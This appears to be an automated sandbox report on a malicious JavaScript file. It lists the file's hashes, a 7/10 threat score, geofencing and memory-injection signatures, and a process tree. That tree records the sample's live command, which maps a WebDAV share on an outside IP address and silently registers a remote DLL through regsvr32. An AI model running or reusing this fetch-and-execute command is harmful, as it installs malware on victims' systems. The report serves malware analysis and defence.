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Analysis

  • max time kernel
    139s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/07/2024, 16:21

General

  • Target

    139172232734927518.js

  • Size

    4KB

  • MD5

    482f8d6c8966d55d0178c41560b2473c

  • SHA1

    f0c6879ef4130720c4c11a907f39ea35263f6f36

  • SHA256

    663c9eb70560d9306073f93abccb25d44874698d262c28b81487c41615a3d44a

  • SHA512

    f87c57c9012274c82f2ae63aac4ebb2da81e0988ce78106c34b255f083e8a5095f5c80791f5fd15471408935338d98a3d1907c7e5a01144e29e24a578991a570

  • SSDEEP

    48:hucgiNUM/cHgCjezEBkn2YFqGs6Ak+JFqGs6NqUqUAc:hDBiCchez00qz6Ak+3qz6NqUqI

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\139172232734927518.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:740
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\73095785314.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2584
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:3604

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads